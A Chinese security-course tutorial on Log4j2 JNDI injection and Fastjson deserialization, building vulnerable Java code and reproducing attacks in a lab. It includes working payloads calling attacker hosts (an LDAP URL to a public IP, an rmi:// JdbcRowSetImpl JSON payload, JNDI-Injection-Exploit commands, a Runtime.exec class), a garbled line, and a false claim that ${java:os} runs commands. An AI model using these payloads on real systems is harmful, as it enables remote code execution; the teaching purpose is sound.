036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

#知识点:

1、JavaEE-组件安全-Log4j
2、JavaEE-组件安全-Fastjson
3、JavaEE-基本了解-JNDI-API

演示案例:

➢Java-三方组件-Log4J&JNDI
➢Java-三方组件-FastJson&反射

#Java-项目管理工具-配置

Jar仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI相关概念:

1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。

2、反序列化常用的两种利用方式,一种是基于RMI ,一种是基于ldap

3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。

4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。

JNDI注入:

原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。

  • Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务 ,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
  1. Log4j 2.x 中的 JNDI 注入漏洞LDAP ,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入执行恶意的Java代码。

    1. 上下文注入:
      1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
      2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入 来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}
  2. FastJson JNDI 注入漏洞(JSON ):

    1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
    2. 攻击者可以通过构造恶意的 JSON 字符串 ,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。
      1. 攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
    3. 远程代码执行:
      1. 由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

#Java-三方组件-Log4J&JNDI

Log4J:日志管理

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程 等;我们也可以控制每一条日志的输出格式 ;通过定义每一条日志信息的级别 ,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

本地简单实现

  • 创建Maven并命名为Log4jDemo
  • 找到对应版本**Apache Log4j Core >> 2.14.1,并导入至项目中pomxml文件中**
  • 并刷新Maven则导入成功
  • 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
    • Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
    • Logger.error("{}", code); 中,code 的值是 ${java:os} 。这是 Log4j 的变量替换语法 ,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令) 。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
xml 复制代码
<dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
java 复制代码
**import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;**

public class Log4jTest {

    // 创建 Logger 实例
    private static final Logger Logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {
        **// 潜在的安全风险:使用不受信任的数据作为日志消息
        String code = "${java:os}";

        // 将不受信任的数据作为日志消息传递给 Logger.error
        Logger.error("{}", code);**
    }
}

构造HTTP Web服务 使用带漏洞Log4j版本 实现功能

潜在的安全风险:直接使用用户输入构造日志消息

1、开发源码中引用漏洞组件如log4j

2、开发中使用组件的代码(触发漏洞代码)

3、可控变量去传递Payload来实现攻击

Payload通常指的是一段恶意代码或指令,旨在利用漏洞或实施攻击。

1、Maven引用Log4j

java 复制代码
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 从请求中获取名为 "code" 的参数
        String code = req.getParameter("code");

        // 记录日志,潜在的安全风险:直接使用用户输入
        Logger.error("{}", code);
    }
}

2、接受用户输入值

遇到问题 :HTTP Status 400 -- 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求


原因:

是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接 上带有特殊字符 .否则会报400错误,

这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ' ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。
解决方式:修改Tomcat配置server.xml

java 复制代码
<Connector port="8080" protocol="HTTP/1.1"
               relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"
               connectionTimeout="20000"
               redirectPort="8443" /

3、Log4j处理错误输入

4、利用jndi-ldap执行

  1. code=$(java:os) 输出执行结果:显示系统
  2. code=(java:os) 正常输入正常输出:(java:os)
  3. ${jndi:ldap://47.94.236.117:1389/uyhyw6}
  4. ${jndi:ldap://xxxx.dns.log}
  5. ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
  6. 什么方法? -A "calc" 执行计算机的功能方法(JNDI注入工具生成的

Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_log4j rce jndi-CSDN博客

Test:

String code="test";

String code=" j a v a : o s " ; l o g g e r . e r r o r ( " " , c o d e ) ; S t r i n g e x p = " {java:os}"; logger.error("{}",code); String exp=" java:os";logger.error("",code);Stringexp="{jndi:ldap://xx.xx.xx.xx:xx/xxx}";

服务器:

java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

#Java-三方组件-FastJson&反射

FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1、Maven引用Fastjson

2、创建需转换类对象User

java 复制代码
package com.wusuowei;

//给fastjson数据转换测试用的
public class User {
    private String name;
    private Integer age;

    public Integer getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(Integer age) {
        this.age = age;
        System.out.println(age);
    }

    public void setName(String name) {
        this.name = name;
        System.out.println(name);
    }
}

3、使用Fastjson进行数据转换(对象转Json)

  • 对象 -> JSON
    • 我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
      我就选择第三方组件fastjson来去做这个功能
java 复制代码
//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
//        System.out.println(u);

        //上述对象 -> JSON
        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
        String jsonString = JSONObject.toJSONString(u);
        System.out.println("这就是json格式:"+jsonString);
}}

4、数据转换(Json转对象)

  • 下面JSON -> 对象
  • 分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个**@type 转换对象类包**
java 复制代码
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);
  • 实战中com.wusuowei.Run 我们不知道 固定调用

  • rmi ldap 去触发远程的class 执行代码(RCE)

    • 将test1中的的**@type 转换对象类包修改为别的东西,例如在本地创建的调用系统计算器的@type 转换对象类包、**
    java 复制代码
    package com.wusuowei;
    
    import java.io.IOException;
    
    public class Run {
        public Run() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
    }
    • JSON.parseObject(test)test字符串进行反序列化 ,并将其转换为一个JSONObject对象。JSONObject是Fastjson库中表示JSON对象的类。
    • 成功调用本机计算器
java 复制代码
//下面JSON -> 对象
        String test = "{\"@type\":\"com.wusuowei.User\",\"age\":30,\"name\":\"xiaodi\"}";
        String test1 = "{\"@type\":\"com.wusuowei.Run\",\"age\":30,\"name\":\"xiaodi\"}";

        //实战中com.xiaodi.Run 我们不知道 固定调用
        //rmi ldap 去触发远程的class 执行代码(RCE)

        JSONObject jsonObject = JSON.parseObject(test);
        System.out.println("这就是json转换为对象的格式:"+jsonObject);
        JSONObject jsonObject1 = JSON.parseObject(test1);
        System.out.println("这就是json转换为对象的格式:"+jsonObject1);

服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891

总结:

流程如下:

  1. 开启HTTP服务器并放置恶意类:
    • 攻击者首先启动一个 HTTP 服务器,并在其中放置 Factory 类包含恶意类的文件或 JAR 文件。这些文件包含了攻击者想要远程加载并执行的恶意代码。
  2. 开启恶意RMI服务器:
    • 攻击者启动一个恶意的 RMI 服务器,该服务器可能包含一个特殊的远程对象,其目的是在远程加载时执行恶意代码。
  3. 攻击者控制URL参数为恶意RMI服务器地址:
    • 攻击者通过抓包并修改请求方式,将**数据源的 RMI URL,指向一个 Factory的远程对象---RMI服务器制定远程加载类Factory.class 的地址,**使目标系统的应用程序使用了特定的 URL 参数,该参数指向攻击者控制的恶意 RMI 服务器地址。
  4. 恶意RMI服务器返回ReferenceWrapper类:
    • 当目标系统执行 JNDI 的 lookup 操作时,攻击者的恶意 RMI 服务器返回一个特殊的对象,可能是 ReferenceWrapper 类的实例。
  5. 目标执行lookup操作,将ReferenceWrapper变成Reference类:
    • 目标系统的代码(可能是 JNDI_Client 类)在执行 lookup 操作时,通过自定义的 decodeObject 方法将 ReferenceWrapper 对象变成 Reference 类的实例。
    • 在这个过程中,可能涉及到远程类加载,将攻击者准备的 Factory 类加载到目标系统中。
  6. 远程加载并实例化Factory类,触发静态代码片段中的恶意代码:
    • 在将 Reference 类实例化时,可能触发了 Factory 类的静态初始化块,其中包含攻击者准备的恶意代码。
    • 这样,攻击者成功在目标系统上执行了远程加载并触发了恶意代码。
  1. 搭建靶场(目标)

    1. http://192.168.10.171:8090/
  2. 搭建恶意站点(攻击机)

    1. 编写恶意代码TouchFile.java(创建文件)

      java 复制代码
      import java.lang.Runtime;
      import java.lang.Process;
      
      public class TouchFile {
          static {
              try {
                  // 获取运行时对象
                  Runtime rt = Runtime.getRuntime();
                  
                  **// 定义执行的命令
                  String[] commands = {"touch", "/tmp/EDI"};
                  
                  // 执行命令
                  Process pc = rt.exec(commands);**
                  
                  // 等待进程执行完成
                  pc.waitFor();
              } catch (Exception e) {
                  // 异常处理,这里仅打印异常,没有进一步处理
                  e.printStackTrace();
              }
              // 静态初始化块结束
          }
          // 类定义结束
      }
    2. javac TouchFile.java编译一下,生成TouchFile.class.

    3. 开启http访问(http://192.168.8.14:8888/)

  3. 开启RMI服务

    1. 监听9999端口,并制定远程加载类TouchFile.class
    2. rmi://192.168.8.14:9999/TouchFile
  4. burp抓包目标靶机

    1. 修改请求方式为POST Content-Type改成application/json

    2. 写入exp,然后发送请求。

    3. 进行替换

      java 复制代码
      "b": {
              // 这是一个表示离线行集的类,通常与 JDBC 一起使用。
      				**//DBC RowSet是Java中用于操作数据库结果集的一种方式,它提供了一种离线的、可序列化的结果集对象。
              "@type": "com.sun.rowset.JdbcRowSetImpl",
              
              // 这指示数据源的 RMI URL,指向一个 TouchFile 的远程对象。
              "dataSourceName": "rmi://192.168.8.14:9999/TouchFile",**
      
              // 自动提交设置为 true
              "autoCommit": true
              }
  5. 进入docker容器中查看已在tmp目录下创建EDI文件

原文链接:https://blog.csdn.net/guo15890025019/article/details/120532891

相关推荐
athink_cn2 小时前
HTTP/2新型漏洞“MadeYouReset“曝光:可发动大规模DoS攻击
网络·网络协议·安全·http·网络安全
zzc9212 小时前
TLSv1.2协议与TCP/UDP协议传输数据内容差异
网络·测试工具·安全·wireshark·ssl·密钥·tlsv1.2
huluang4 小时前
医院网络安全重保行动方案
网络·安全
九州ip动态4 小时前
如何安全使用改IP软件更改异地IP地址?
网络·tcp/ip·安全
杭州泽沃电子科技有限公司4 小时前
告别翻山越岭!智能监拍远程守护输电线路安全
运维·人工智能·科技·安全
wha the fuck4046 小时前
攻防世界—unseping(反序列化)
安全·序列化和反序列化
David WangYang9 小时前
基于 IOT 的安全系统,带有使用 ESP8266 的语音消息
物联网·安全·语音识别
合作小小程序员小小店10 小时前
SDN安全开发环境中常见的框架,工具,第三方库,mininet常见指令介绍
python·安全·生成对抗网络·网络安全·网络攻击模型
数据智能老司机11 小时前
实现逆向工程——汇编指令演练
安全·逆向·汇编语言
网络研究院13 小时前
新的“MadeYouReset”方法利用 HTTP/2 进行隐秘的 DoS 攻击
网络·网络协议·安全·http·攻击·漏洞